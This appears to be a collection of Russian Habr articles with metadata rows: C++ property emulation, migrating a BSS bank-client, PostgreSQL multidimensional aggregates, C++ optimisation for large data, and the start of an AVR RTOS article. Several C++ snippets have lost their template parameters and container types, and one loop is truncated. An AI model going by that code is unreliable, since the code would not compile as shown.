typedef void (Owner::\*setter)(Type);
Owner \* m\_owner;
setter m\_setter;
public:
// Оператор присваивания. Реализует сеттер.
void operator =(Type data)
{
(m\_owner->\*m\_setter)(data);
}
Property() :
m\_owner(NULL),
m\_setter(NULL)
{
}
Property(Owner \* const owner, setter setmethod) :
m\_owner(owner),
m\_setter(setmethod)
{
}
void init(Owner \* const owner, setter setmethod)
{
m\_owner = owner;
m\_setter = setmethod;
}
};
```
Использование
=============
Использовать можно вот так:
Файл TestClass.h
```
#pragma once
#include "Property.h"
class TestClass
{
public:
TestClass(void);
~TestClass(void);
void _setterRW(int a);
int _getterRW();
Property testRW;
int \_getterRO();
Property testRO;
void \_setterWO(int a);
Property testWO;
private:
int propRW;
int propRO;
int propWO;
};
```
Файл TestClass.cpp
```
#include "TestClass.h"
TestClass::TestClass(void)
{
testRW.init(this, &TestClass::_getterRW, &TestClass::_setterRW);
testRO.init(this, &TestClass::_getterRO);
propRO = 123;
testWO.init(this, &TestClass::_setterWO);
}
int TestClass::_getterRW()
{
return propRW;
}
void TestClass::_setterRW(int a)
{
propRW = a;
}
int TestClass::_getterRO()
{
return propRO;
}
void TestClass::_setterWO(int a)
{
propWO = a;
}
TestClass::~TestClass(void)
{
}
```
Файл main.cpp
```
#include "TestClass.h"
#include "stdio.h"
int main()
{
TestClass t;
t.testRW = 15;
int a = t.testRW;
t.testWO = 34;
//a = t.testWO; //ошибка: чтение WriteOnly property
//t.testRO = 45; //ошибка: запись в ReadOnly property
printf("RW = %d\n", int(t.testRW));
printf("RO = %d\n", int(t.testRO));
scanf("%d", a);
return 0;
}
```
Вывод
=====
Эта реализация меня устраивает, но не нравится по нескольким причинам. Первая – необходимость указывать класс, к которому относится property. Вторая – необходимость инициализации каждого свойства в конструкторе, а то есть на этапе выполнения. Третья – невозможность создания статических property. Ну и четвёртая, менее существенная: подсказчик показывает тип Property, а не то что мы туда пишем, что может вызвать некоторые вопросы у того, кто это впервые видит. Так же тема указателей на методы класса весьма мутная, плохо раскрытая и мало используемая. Она хорошо объяснена [тут](http://rsdn.ru/article/cpp/fastdelegate.xml), но самое важное, что я понял, что пользоваться ими надо очень осторожно.
Получилось не так интуитивно понятно в использовании, как хотелось, но поставленная цель достигнута.
Использованные материалы:
[www.rsdn.ru/article/vcpp/props.xml](http://www.rsdn.ru/article/vcpp/props.xml) – основные идеи.
[www.rsdn.ru/forum/cpp/854559.1.aspx](http://www.rsdn.ru/forum/cpp/854559.1.aspx) – идея с правами доступа.
[rsdn.ru/article/cpp/fastdelegate.xml](http://rsdn.ru/article/cpp/fastdelegate.xml) – подробнейшее объяснение указателей на функции и методы классов в C++.
Исходники с примерами [тут](http://dl.dropbox.com/u/7162973/srcProperty.zip).
Проект Visual Studio 2008 [тут](http://dl.dropbox.com/u/7162973/propertyTest.zip) .
Данный текст опубликован под лицензией [CC-BY](http://creativecommons.org/licenses/by/2.0/).
##### *Оригинал статьи можно найти [здесь](http://someideas.ru/2011/06/14/property-в-c/). Копипаст произведён осознанно, так как тема должна быть интересна хабранаселению, а сайт, на котором статья изначально опубликована, не в состоянии выдержать даже небольшой наплыв посетителей по причине хостинга.* | https://habr.com/ru/post/121799/ | null | ru | null |
# Перенос толстого банк-клиента BSS в т.ч. на Windows 7 x64
Добрый день, сегодня я потратил много времени на перенос банк-клиента одного из банков, «идущего на острие прогресса» — называть его не буду. Использует этот банк очень распостраненный «толстый» BSS банк-клиент., написанный на Delphi в незапамятные времена. Сотрудник техподдержки услышав от меня слова Windows 7 x64 сказал что перенос осуществить невозможно. Однако меня это получилось, и я готов поделиться краткой инструкцией по переносу. К сожалению без скриншотов.
Итак, первым делом надо забекапиться. Нам понадобятся:
* Папка, в которую установлен КБ, ну и скорее всего запомнить путь — т.к. в целевой системе **желательно** будет развернуть КБ по тому же пути.
* Ключи пользователя. Не забываем забекапить не только сертификаты, но и закрытые ключи. Если ключи в реестре — то в [этой статье](http://habrahabr.ru/post/161361/) я описывал как их переносить
* База данных КБ. Лежит она обычно в `%Programm Files%/Microsoft SQL Server/%имя%/Data`Именем может быть SQL.1 или BSS\*\*\* или еще что-нибудь, в КБ разных банков по разному, нас же интересуют файлы **BSS\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*** и **BSS\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\_log** из папки **Data** — их мы бекапим
Далее переходим к целевой системе.
* Устанавливаем КБ, как в первый раз, как я уже говорил — желательно по тому же пути по которому КБ стоял в старой системе, создаем алиас базы данных, на этапе выдачи прав доступа к ключам(таблички с DBA SYSDBA OPERATOR и т.п.) сетап будет ругаться т.к. технологический ключ давно протух — это нормально, жмем отмену(или «Нет» — не помню уже как конкретно он ругался). Все, нам сказали что КБ установлен.
* Импортируем ключи в новую систему, устанавливаем сертификаты в хранилище «Личные»
* Идем по пути `%Programm Files%/Microsoft SQL Server/%имя%/Data`, запоминаем название свежесозданой базы (BSS\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*), и переименовываем файлы BSS\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* и BSS\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\_log, на их место кладем соответствующие файлы из бекапа, переименовывая их свежим названием(Например если на исходной системе алиас назывался BSSGPB201112345, а новый алиас на целевой системе — BSS\*\*\*30136201859, то BSS\*\*\*30136201859 > \_BSS\*\*\*30136201859 BSSGPB201112345 > BSS\*\*\*30136201859)
* Идем в настройки транспорта, и **перепрописываем** там сертификаты клиента, в разных банках транспорты используются разные, в основном встречаются два типа — либо висит небольшое окно в нижней правой части экрана — там надо нажать «Настройки», и далее на последней вкладке выбрать путь к открытому ключу(сертификату в %bssroot%/subsys/keys/open/00000000/\*.cer), и в нижней части окна нажать «Обзор» и выбрать **правильный** ключ, в другом случае(когда нет маленького окна в нижней правой части экрана) необходимо пройти в папку %bssroot%/subsys/icl/icltransportsystem/ и запустить «Настройка.bat» и далее как описано ранее.
Вот и все, КБ должен работать, со старыми ключам, со старой историей выписок и без походов в банк. | https://habr.com/ru/post/184040/ | null | ru | null |
# Агрегаты в БД — многомерные суперагрегаты
В прошлой статье мини-цикла о работе с агрегатами я рассказывал, как организовать [эффективное многопоточное преобразование потока первичных данных](https://habr.com/ru/post/539638/) в данные агрегированные. Там мы рассматривали задачу "свертки" продаж в агрегаты вида **товар/дата/кол-во**.
Сегодня мы рассмотрим более сложный вариант, который зачастую начинается со слов *"А заказчик захотел…"* и приводит нас к **иерархичным агрегатам в нескольких одновременных разрезах**, которые позволяют нам в [СБИС](https://sbis.ru/all_services) практически мгновенно строить оперативные отчеты в подсистемах [организации торговли](https://sbis.ru/inventory), [бухгалтерского учета](https://sbis.ru/accounting) и даже [управления активными продажами](https://sbis.ru/crm).
Бизнес-требования
-----------------
И швец, и жнец, и на дуде игрец...* уметь быстро получить информацию не только **по товарам**, но и **по складам**
* в том числе и **сводка-TOP** продаж товаров на интервале
* в том числе **с фильтром по складу**... или без
* а еще **график динамики продаж** за месяц по дням... и за год по месяцам... и за все время по годам
* ... и **с любым из фильтров** склад/товар
* ... и чтобы **все быстро** работало!
Итак, вычленяем ключевое для нас относительно предыдущей задачи:
* появляется **новый разрез агрегации** - по складу
* необходима **агрегация "без учета" или "по всем"** - например, сводные продажи всех товаров склада или продажи товара по всем складам
* нужны **агрегаты для динамики** (дневные/месячные/годовые) в разрезе любого фильтра
Структура новых агрегатов
-------------------------
Добавим в таблицу агрегатов новое поле - **тип интервала** агрегации (D/M/Y) и новый аналитический разрез - **склад**.
```
CREATE TABLE agg(
it -- товар
integer
, wh -- склад
integer
, dt -- дата продажи/начала кванта
date
, quant -- тип кванта D/M/Y
"char"
, qty -- количество
double precision
);
```
Замечу, что тут для экономии размера данных мы использовали однобайтный **спецтип "char"**. Например, такой тип имеет поле **relkind** (тип объекта) в системной таблице **pg\_class**.
#### Неудобный NULL и удобный ноль
Для аналитики "по всем" используем **значение = 0** (не NULL) соответствующего разреза. Это позволит нам всегда передавать значения в один и тот же запрос, без изменения его модели на `… IS [NOT] NULL`.
То есть для запроса *"какие товары продавались лучше всего в таком-то месяце"* будем использовать запрос вида:
```
SELECT
it
, qty
FROM
agg
WHERE
wh = $1::integer AND -- передадим 0 для разреза "по всем складам"
(quant, dt) = ($2::"char", $3::date) -- передадим 'M' для обращения к "месячному" агрегату
ORDER BY
qty DESC
LIMIT ...;
```
А если нам понадобится этот же рейтинг по конкретному складу, то просто **передадим сюда же ID склада**! Очевидно, для такого запроса подходящим будет индекс `(quant, dt, wh, qty DESC)`.
В результате, **за единственный Index Scan** мы получим сразу все, что хотим, без какой-либо динамической агрегации на моменте получения данных.
#### Динамика в разрезе фильтра
Давайте теперь сконструируем запрос, который поможет нам нарисовать красивый **график по динамике**:
```
SELECT
dt
, qty
FROM
agg
WHERE
(quant, it, wh) = ($1::"char", $2::integer, $3::integer) AND
dt BETWEEN $4::date AND $5::date -- период графика
ORDER BY
dt;
```
Индекс под него - `(quant, it, wh, dt)`. Почему на первом месте именно `quant`? Потому что у него очень маленькая селективность, и [индекс будет занимать меньше места](https://habr.com/ru/post/488104/).
Сборка агрегатов
----------------
Итак, вернемся к [предыдущей статье](https://habr.com/ru/post/539638/) и проблемам, которые мы успешно решали там - разделению кросс-блокировок между параллельно работающими потоками. В нынешней ситуации, разделив обработку **по ключу** `(it, wh)`, мы заведомо устраним конфликты между обработчиками.
Но возникнет небольшая проблема - давайте посмотрим, как именно эффективнее всего добиться формирования агрегатов:
При проходе по курсору над flow-таблицей мы формируем **в памяти "дифф" для инкремента** записей соответствующих агрегатов по обрабатываемому этим потоком ключу `(it, wh)` - сразу для каждого из типов интервалов.
Вместе с этим мы вставляем во flow новую "первичку" для последующих "надагрегатов", **заменяя нулем каждый из вариантов разрезов** анализа.
> **Задача:***"Вскипятить воду в чайнике"*
>
> *И физик и математик: налить воду в чайник, зажечь плиту, поставить чайник на огонь и подогреть до 100\*С.*
>
> **Новая задача:** *"Вскипятить воду в чайнике. Чайник уже налит, огонь горит"*
>
> Физик: *поставить чайник на огонь и подогреть.*
>
> Математик: *выливаем воду из чайника на плиту - чайник пуст, огонь не горит -* ***задача сведена к предыдущей!***
>
> *(c) народный анекдот*
>
>
Понятно, что при последующей обработке такого ключа, содержащего хотя бы один ноль, записи "надагрегатов" формировать уже не нужно.
#### Обходим блокировки
Единственная точка, в которой у нас могут пересечься два параллельно работающих потока, это формирование/**обновление записи queue**, соответствующей этому ключу "надагрегата" - например, `(0, 0)`.
К счастью, это достаточно просто обходится **вставкой новой записи в queue**, если `pg_try_advisory_xact_lock(it, wh)` для такого ключа вернула нам `FALSE`. То есть да, в разрезе ключа распределения записи в очереди могут быть неуникальны. Но в этом нет ничего страшного, потому что они всего лишь выполняют функцию **сигнализатора "во flow что-то может быть по этому ключу"**. И если нет - не страшно, при обработке этой записи очереди мы заглянем во flow, ничего не найдем, и спокойно завершим обработку.
---
Итого - мы получили в БД все нужные агрегаты во всех требуемых разрезах, которые помогут нам обеспечить быстрый показ отчета/графика в любой комбинации фильтров:
---
Мини-серия **"Агрегаты в БД"**:
* [зачем, как, а стоит ли?](https://habr.com/ru/post/539016/)
* [эффективная обработка потока «фактов»](https://habr.com/ru/post/539638/)
* [многомерные суперагрегаты](https://habr.com/ru/post/540572/) <-- вы здесь
* [прокси-таблицы](https://habr.com/ru/post/541374/) | https://habr.com/ru/post/540572/ | null | ru | null |
# Как продеть слона через игольное ушко. Обработка максимальных объемов данных за минимальное время
Чего только ни услышишь от апологетов тех же Java или C# про разработку на C/C++! Якобы этот язык устарел и на нем никто не пишет. Вот только когда требуется создать no latency или low latency сервис или нужно сэкономить память и время выполнения узкого места обработки больших объемов данных, то тут же прибегают за помощью к «архаичным» разработчикам на C/C++. Просто потому, что эти ребята умеют вручную управлять памятью и прекрасно представляют, что за начинка у той или иной высокоуровневой операции. Сегодня наша задача — стать на шаг ближе к этим ребятам.
#### Под капотом гоночной машины
Бизнес-логика сетевого приложения — это обычно не то место, где предпочитают использовать C++ как язык разработки. Как правило, для сетевого взаимодействия между клиентами приложения и серверами базы данных выбирают более высокоуровневые языки. Но рано или поздно приложение разрастается до уровня, когда его дешевле оптимизировать, чем закупать новые серверы. В этом случае нам предстоит увлекательный аттракцион встраивания реализации части бизнес-логики на C/C++ в устоявшуюся логику на C#, Java, Python, Ruby или JavaScript. Тут тебя, вероятно, ждет презабавный сюрприз: на C++ нужно уметь обрабатывать большие объемы данных эффективно. Навыки в Java или C# быстро сведут на нет все попытки оптимизации, если ты просто попробуешь написать примерно такой же код на C++.
Дело в том, что применять new следует максимально экономно, а нерациональное использование не совсем подходящих к ситуации контейнеров сделает совершенно логичный код абсолютно непригодным на практике. Вполне возможно, что после «оптимизации», проведенной сотрудником, не вполне квалифицированным именно в C++, время выполнения может остаться примерно тем же или даже увеличиться. Кто-то разведет руками, мол, старались, но тут все и так оптимизировано донельзя. Кто-то попытается убедить коллег в немыслимой скорости высокоуровневого языка. Наша задача в том, чтобы деньги фирмы не были потрачены зря. Чтобы затраты ресурсов на встраивание C/C++ в критические участки кода не только не оказались напрасными, но многократно окупились. Ценятся не те специалисты, что разводят руками и говорят «ну не смогли», а те, что добиваются невозможного. Ведь невозможным оно только кажется, и ничего сложного в этом уроке не будет. Все, что потребуется, — это запомнить несколько важных вещей, которые пригодятся при обработке данных на C++.
#### Выбираем инструменты тщательно
Если тебе еще не посчастливилось прочитать замечательную книгу «Эффективное использование STL» Скотта Мейерса, я ее крайне рекомендую. Без детального понимания того, для какой ситуации в C++ нужен тот или иной контейнер, использование STL будет сродни ремонту асфальта в дождь. Некоторые основные советы я все же дам, но важно досконально разбираться в предназначении разных контейнеров и устройстве их методов.
Первое, что следует всегда помнить: `std::vector` — это не массив, а именно вектор. Используй этот контейнер, если нужна именно векторизация непрерывного куска памяти в виде однотипных элементов. Если же требуется регулярное добавление и удаление при неконтролируемом размере, то `std::vector` вряд ли пригодится. Когда нужен именно массив с поэлементным доступом и недорогим увеличением размера, смотри лучше в сторону `std::deque`. Ведь если нам не будет хватать зарезервированной памяти, то произойдет сначала выделение нового непрерывного (!) блока, а затем перенос данных из старой памяти объекта `std::vector` в новую поэлементно. Поскольку мы рассматриваем обработку больших объемов данных за наименьшее время, перераспределение памяти под уже существующие объекты — это совсем не то, на что хочется тратить процессорное время.
Второе необходимое условие — это тщательный выбор контейнера с соотношением уникального ключа и значения. В случае больших данных, вероятно, проще всего сразу построить `std::unordered\_map` и стараться как можно реже его изменять. Дело в том, что взятие по ключу в `std::unordered\_map` куда эффективнее, чем в `std::map`, опять же для больших объемов данных не нужно выстраивать и поддерживать в памяти красно-черное дерево с непомерным количеством узлов. Но если соотношение ключ — значение часто изменяется (удаляются соотношения, добавляются новые, и это делается достаточно интенсивно), то проще смириться с поддержанием `std::map`, чем раз за разом перестраивать внутреннее представление `std::unordered\_map`. Ведь внутри `std::unordered\_map`, по сути, массив цепочек значений, и чем чаще мы изменяем соотношение ключ — значение, тем менее эффективным становится его использование. Здесь не спасет даже более быстрое извлечение по ключу: перестроение больших массивов — это всегда дорого.
Третий важный момент — это логика. Сначала напиши наиболее эффективный алгоритм, а затем смотри, что логически подходит для хранения данных при его работе. Всегда старайся выбирать контейнер единственно очевидным способом. Нужен набор уникальных значений — бери `std::set`, нужен словарь, который редко меняется — смело используй `std::unordered\_map`, нужен массив, и заранее не знаешь его размер — скорее всего, понадобится `std::deque`, если же размер массива заранее известен, то может подойти и обычный `std::vector`.
Четвертое — это замеры производительности. Всегда следует проверять свое решение о выборе контейнера или алгоритма сравнительным анализом с тестированием времени выполнения на схожих контейнерах. Так, может статься, что отсортированный `std::vector` пар ключ — значение может быть эффективнее в обработке, чем логично подходящий `std::map`, построенный по этому соотношению.
У тебя могут быть любые идеологические взгляды на программный код, но единственный авторитет, которому ты должен доверять, — это профилировщик, который выдает замеры времени выполнения кода при разных вариантах его построения.
#### Затраты на текст
Первое и главное, что следует усвоить при работе с текстом: `std::string` не единственный способ сохранить и обработать текст или его часть. В случае подстроки совершенно не обязательно заводить под каждый кусок большой строки миллионы новых контейнеров `std::string`, достаточно указать на начало и конец каждой подстроки. Лучше завести свою структуру с парой итераторов begin/end на исходной строке, чем для каждой подстроки строить новый непрерывный блок памяти и копировать в него часть и так хранящегося в исходной строке текста.
Пример: находим все слова в тексте, представленном в виде указателя на null-terminated строку. Пусть для простоты наши слова разделены символом точки с запятой.
```
template
void find\_words(char const \*text, std::deque& result)
{
char const \*start = text;
char const \*finish = text + std::strlen(text);
while (start < finish)
{
char const\* last = std::strchr(start, ';');
if (!last) last = finish;
result.push\_back(word\_type(start, last));
start = last + 1;
}
}
```
В качестве `word\_type` попробуем как стандартный `std::string`, так и собственный тип, сохраняющий указатель на начало и конец подстроки в исходной строке.
```
struct one_word
{
one_word(char const *begin, char const *end)
: m_begin(begin), m_end(end) {
}
char const *m_begin, *m_end;
};
```
В результате несложных сравнительных замеров выясняется, что, если не тратить время на генерацию абсолютно ненужных промежуточных строк в контейнерах `std::string`, код начинает выполняться в 15–20 раз быстрее. Если большинство слов не помещается в изначально зарезервированный в `std::string` буфер размером 16 char, то дополнительно нам приходится динамически выделять новые блоки памяти для хранения подстрок. Наш класс `one\_word` при инициализации заполняет только два поля типа указатель на символ, и этого хватает, чтобы потом пройти по подстрокам.
Особым пренебрежением ко всякой оптимизации грешит библиотека Boost, поэтому, если вдруг решишь использовать `boost::split` или `boost::regex`, вспомни об этом решении, когда профилировщик покажет проседание производительности именно при разборе строки с массовым неявным созданием всевозможной ненужной чепухи.
#### JSON, XML и все-все-все
К работе с текстовыми протоколами следует подходить как можно аккуратнее. Как показывает предыдущий пример, малейший просчет при создании вспомогательных объектов может убить производительность совершенно безобидным на первый взгляд кодом.
Для каждого из общепринятых протоколов есть целый выводок библиотек. Но следует помнить простые истины.
Первое и главное. Тебе почти никогда не стоит строить полное дерево для структуры XML/JSON/YAML при ее чтении откуда бы то ни было. Обычно все сводится к извлечению ряда однотипных значений.
Второе: не гнушайся изобретать велосипед, если задача критична по производительности, а случай у тебя настолько частный, что отказаться от протоптанной тропинки будет верным решением.
Третье: при сериализации, **пожалуйста**, постарайся обойтись генерацией в буфер на стеке. Если это невозможно, то пиши в `std::string` с заблаговременным вызовом reserve. Код никогда не получится эффективным, если ты сначала мусоришь по всей оперативной памяти использованием `std::stringstream`, а затем еще и собираешь из него строку, дополнительно склеивая то, что можно сразу собрать в результат.
В качестве домашнего задания сравни по производительности генерацию большой текстовой конфигурации в тот же XML с использованием `std::stringstream` и без него. Оперативная память в виде сыра с кучей дырок фрагментации не располагает к быстродействию.
#### База ответит
При запросе к базе данных мы на этапе компиляции не знаем, какого типа значения к нам придут. Точнее, мы можем построить строку запроса, можем даже обернуть это в простенький SQL-like ORM на стороне C++, но главное — на этапе компиляции мы почти никогда не знаем, что база данных говорит в ответ.
В этом плане динамически типизируемые языки с генерацией атрибутов на лету вроде тех же Python, Ruby и JavaScript имеют перед компилируемыми языками со статической типизацией несомненное преимущество.
Можно, конечно, понаделать всевозможных типов вроде `IntField`, `FloatField` и прочих `\*Field` с общим предком наподобие `BaseField`, а затем мучиться по всем веткам кода, используя приведение ссылок и указателей. Это приведет к фрагментации единого, в общем-то, ответа от базы данных — он окажется распихан по маленьким ячейкам памяти.
Однако, вспомнив [первые](http://habrahabr.ru/company/xakep/blog/257891/) [три](http://habrahabr.ru/company/xakep/blog/257893/) [урока](http://habrahabr.ru/company/xakep/blog/257895/) нашей академии, мы можем легко обойти ограничения языка C++ и при этом получить удобоваримый API. Все, что нам остается, — это минимизировать затраты на динамическое выделение памяти на каждое поле в каждой записи. Это сделать не так уж и сложно.
Классические СУБД в ответ на SQL-запрос выдают нам табличные данные, то есть мы знаем формат каждой записи, пусть и на этапе выполнения, а не на этапе компиляции. По структуре записи мы можем изначально выделить память под все данные всех полей в сумме. В дальнейшем рассовывать значения полей по заготовленным ячейкам памяти нам поможет старый добрый `placement new`. Выглядит это примерно так:
1. Из метаданных запроса мы узнаем тип данных каждого поля в результатах запроса. Для каждого типа на стороне базы данных у нас есть аналогичный тип на стороне бизнес-логики. Скалярные данные — это данные с фиксированным размером, выделять память для них означает оставлять место в буфере, им не нужен даже конструктор. Чуть сложнее с данными, которые выделяют дополнительную память в куче, как, например, `std::string` для представления типа `text`. Однако сам `std::string` имеет определенный размер, так что можем сказать, будто для любого типа поля в базе данным мы знаем тип и размер на стороне бизнес-логики.
2. Далее банально складываем размеры типов полей записи и получаем размер блока данных под каждую запись. Для выделения памяти под весь результат запроса мы можем выделить память один раз для всех полей. Получится, что в кучу за памятью мы лезем лишь однажды, сразу после чтения полей из метаданных результата запроса. Сложность операции кратна количеству полей в результате запроса: даже если запрошена тысяча полей, это куда проще, чем выделять память под 1000 × \*количество записей в результате\* под малопонятные IField\*.
3. Для удобства обработки данных некий класс field нам все же придется построить. Он будет представлять собой контейнер с динамически типизируемыми данными из [первых](http://habrahabr.ru/company/xakep/blog/257891/) [двух](http://habrahabr.ru/company/xakep/blog/257893/) лекций «Академии C++». По сути, в каждом будет по значению, но опционально хранится тип — он соответствует типу в результате запроса в соответствующей ячейке данных, либо NULL.
4. Поскольку подавляющее большинство хранящихся в базе типов данных — текстовые, возможно, имеет смысл инлайнить небольшие строки с ограниченным размером на стороне базы данных не в `std::string`, который полезет в кучу, а непосредственно в память `field`. В этом случае мы получим неплохую оптимизацию при выделении памяти, но придется помучиться с реализацией нужных методов, поскольку сам по себе `char m\_text[SIZE]` делать ничего не будет, а возможности чистого си по работе со строками и памятью не адаптированы для работы с базой данных.
5. Теперь главное: выделив память под каждый тип в записи, создаем данные поля с помощью конструкции `new(<куда>) Тип(<параметры>)`.
Вот как это должно выглядеть в реализации. Главный класс — это контейнер поля, динамически типизируемый от любого используемого тобой типа в базе данных. Если у тебя только скалярные типы, текстовые данные и NULL, то получится примерно вот так:
```
class field
{
public:
template
field(void\* address, value\_type const& value);
template
field& operator = (value\_type const& value);
template
value\_type get\_as() const;
bool is\_null() const;
protected:
class data;
private:
data\* m\_data;
};
class field::data {...};
template
class data\_holder : public field::data
{
public:
data\_holder(); // NULL
data\_holder(value\_type const& value);
<реализуем нужный интерфейс>
private:
value\_type m\_value;
};
template
field::field(void\* address, value\_type const& value)
: m\_data(new(address) data\_holder(value))
{
}
```
Если операции перестановки и удаления полей в результате запроса для тебя редкость, то смело векторизуй память под весь блок. Если же активно играешь в пятнашки с данными внутри результатов, то твой выбор — массив деков памяти, где память для каждой ячейки выделяется отдельно. В этом случае больше подойдет модель из [второй](http://habrahabr.ru/company/xakep/blog/257893/) лекции «Академии C++», где мы храним память под имплементацию объекта в данных класса и инициализируем через `placement new` уже внутри реализации, что в данном случае, с одной стороны, позволит использовать запись как полноценный `std::deque` однородных объектов, а с другой — ограничит использование больших данных внутри объектов. Уже нельзя будет инлайнить строки внутрь памяти записей, зато можно будет легко играть наличием и порядком полей, что важно для, например, нереляционных баз данных, либо для прокси-логики с дообработкой результатов полученных от другой бизнес-логики, на которую мы напрямую повлиять не можем. Тогда сам тип поля будет выглядеть немного по-другому:
```
class field
{
public:
// Больше не нужен адрес
template
field(value\_type const& value);
<остальное не меняется>
private:
data\* m\_data;
uint8\_t m\_buffer[MAX\_FIELD\_SIZE];
};
```
Теперь тебе понятна и тщательность, с которой я описывал механизмы динамической типизации в [начале](http://habrahabr.ru/company/xakep/blog/257891/) курса «Академии», и то, почему еще во втором уроке говорилось об экономии памяти при размещении данных заранее неизвестного типа внутри класса.
Какой бы путь ты ни выбрал, единый блок памяти для всей записи или даже для всего результата запроса на стороне бизнес-логики либо гибкое управление деком полей в каждой записи все равно будет лучше, чем массовое выделение памяти под каждое поле и работа с ними через указатели на интерфейсы, между которыми будет постоянное приведение типов.
#### Тихо! Идет запись!
В обоих случаях класс записи будет работать примерно так:
1. Инициализация некоторым набором информации о полях.
2. Выделение памяти по метаинформации произойдет лишь однажды.
3. Затем в цикле заполняется список полей записи, со смещением относительно общей памяти для каждого последующего поля записи.
4. Если информация о полях пришла сразу со значениями, то сразу инициализируем поля вместе со значениями прямо по нужному адресу.
Реализация записи будет выглядеть немного по-разному в зависимости от того, будет ли у тебя монолитный блок данных под всю запись, или же это набор взаимозаменяемых однотипных элементов с динамически типизуемым содержимым. Приведу пример того, как может выглядеть реализация записи для единого блока памяти:
```
class record
{
public:
record(query_result const& result, size_t row);
// Доступ к данным через контейнер field
field [const]& operator[](<здесь нужны перегрузки
от int, char const* и std::string const&>) [const];
private:
std::vector m\_buffer;
std::vector m\_fields;
};
record::record(query\_result const& result, size\_t row)
{
size\_t buffer\_size = std::accumulate(
result.types().begin(),
result.types().end(),
0,
[](size\_t init, field::type type){
return init + type.size();
});
m\_buffer.resize(buffer\_size);
m\_fields.reserve(result.types().size());
for(size\_t offset=0, index=0;
index
```
Если же мы будем использовать максимальное ускорение и для всего результата запроса использовать один блок памяти, то код записи поменяется незначительно:
```
class record
{
public:
// Добавится параметр адреса в конструктор
record(void* address, query_result const& result,
size_t row);
<здесь все останется как было>
private:
std::vector m\_fields;
<буфер переедет в класс набора записей>
};
```
#### Самая главная оптимизация
Важно помнить, что раскладывать поля из результатов запроса по полям представления на стороне бизнес-логики — это круто, но очень часто совершенно не нужно. Если нужно по результату из клиентского API базы данных напрямую сгенерировать JSON, то совершенно не обязательно создавать тьму объектов `record` с кучей объектов `field` в каждом. Пусть даже оптимизированное, это действие лишнее. Просто создай буфер на стеке, сложи результат запроса в виде JSON, XML, YAML или другого ожидаемого клиентом формата и отправь ему.
А вот если некий код ждет от тебя на обработку именно набор данных во внутреннем формате для сложной обработки, то здесь, вне всяких сомнений, нужно генерировать удобное представление. Если же от тебя ждут простого ответа типа bool, означающего, пришло от базы hello или нет, то совершенно излишне будет генерировать структуру `[[«hello»]]`, чтобы ответить true.
Не добавляй в алгоритм лишних шагов — это и есть самая главная оптимизация.
#### Бессмертный и бессменный
Главное, что нужно усвоить, — язык C++, как и си, предоставляет прямой доступ к памяти процесса, причем в первую очередь важна память в стеке, а во вторую — память внутри заранее выделенных и подготовленных к использованию буферов. Никакие Java, C# или Python и близко не подойдут к показателям программ, грамотно написанных на C/C++, именно потому, что защищают программиста от неправильной работы с памятью. Мы можем выделить на стеке несколько килобайтов памяти под пакет протокола, заполнить ее, пробежав указателем, и выдать ссылку на буфер на стеке в функцию отправки по сети. Нам не нужно городить никаких `std::vector` для этого, достаточно `uint8\_t packet\_buffer[MAX\_PACKET\_SIZE]` в стиле чистого и незамутненного си.
Язык C++, в свою очередь, предоставляет возможность надстраивать удобные высокоуровневые языковые конструкции поверх конструкций языка си, и этим нужно пользоваться. Грех не использовать конструкторы и деструкторы и генерацию исключений, не говоря уже о шаблонах. Если этой кухней владеешь, то и печеньки получатся годными, а если нет, то извини: по соседству есть автоматическая микроволновка (та же Java), попробуй испечь печеньки в ней.
Язык C++ отлично подходит как для оптимизаций алгоритмов, реализованных на высокоуровневых языках, так и для того, чтобы выжать все из своего кода. Для этого совсем не обязательно знать сложность обхода `std::map` — порой нужно просто взять и использовать вместо `vector of vector` обычный `T\*\*`. Или вместо генерации непотребных размеров `std::string` для отправки по сети просто взять и сделать все на стеке.
Главное — иметь светлую голову и немножко думать над тем, что ты делаешь в каждой строчке кода. Не делается ли что-то лишнее? Ведь именно отсекая лишнее, подобно скульптору, мы оптимизируем скорость выполнения нашего кода. Успехов тебе в высоком искусстве оптимизации!
*Впервые опубликовано в журнале Хакер #195.
Автор: Владимир [Qualab](http://habrahabr.ru/users/qualab/) Керимов, ведущий С++ разработчик компании Parallels*
Подпишись на «Хакер»
* [Материалы сайта](https://xakep.ru/wp-admin/profile.php?page=paywall_subscribes)
* [Бумажный вариант](http://bit.ly/habr_subscribe_paper)
* [«Хакер» на iOS/iPad](http://bit.ly/xakep_on_ipad)
* [«Хакер» на Android](http://bit.ly/habr_android) | https://habr.com/ru/post/258961/ | null | ru | null |
# ОС реального времени AQUA RTOS для МК AVR в среде BASCOM AVR
При написании для МК кода посложнее, чем «помигать лампочкой», разработчик сталкивается с ограничениями, присущими линейному программированию в стиле «суперцикл плюс прерывания». Обработка прерываний требует быстроты и лаконичности, что приводит к добавлению в код флагов и приведению проекта к стилю «суперцикл с прерываниями и флагами».
Если сложность системы растет, то число взаимозависимых флагов растет в геометрической прогрессии, и проект довольно быстро превращается в плохо читаемый и управляемый «макаронный код».
Избавиться от «макаронного кода» и вернуть сложному проекту на МК гибкость и управляемость помогает использование операционных систем реального времени.
Для микроконтроллеров AVR разработаны и довольно популярны несколько кооперативных ОС реального времени. Однако все они написаны на языке Си или Ассемблер и не подходят тем, кто программирует МК в среде BASCOM AVR, лишая их столь полезного инструмента для написания серьезных приложений.
Чтобы исправить этот недостаток, я разработала простую ОСРВ для среды программирования BASCOM AVR, которую и выношу на суд читателей.
Для многих привычный стиль программирования МК – т.н. *суперцикл*. Код при этом состоит из набора функций, процедур и описателей (константы, переменные), возможно, библиотечных, в целом называемых «фоновым кодом», а также большого бесконечного цикла, заключенного в конструкцию типа **do – loop**. При пуске сначала выполняется инициализация оборудования самого МК и внешних устройств, задаются константы и начальные значения переменных, а затем управление передается в этот бесконечный суперцикл.
Простота суперцикла очевидна. Большинство задач, выполняемых МК, ведь так или иначе цикличны. Недостатки тоже налицо: если какое-то устройство или сигнал требует немедленной реакции, МК обеспечит ее не раньше, чем обернется цикл. Если длительность сигнала окажется короче, чем период цикла, такой сигнал будет пропущен.
В приведенном ниже примере мы хотим проверить, нажата ли кнопка **button**:
```
do
' какой-то код
if button = 1 then ' реакция на нажатие кнопки
' еще какой-то код
loop
```
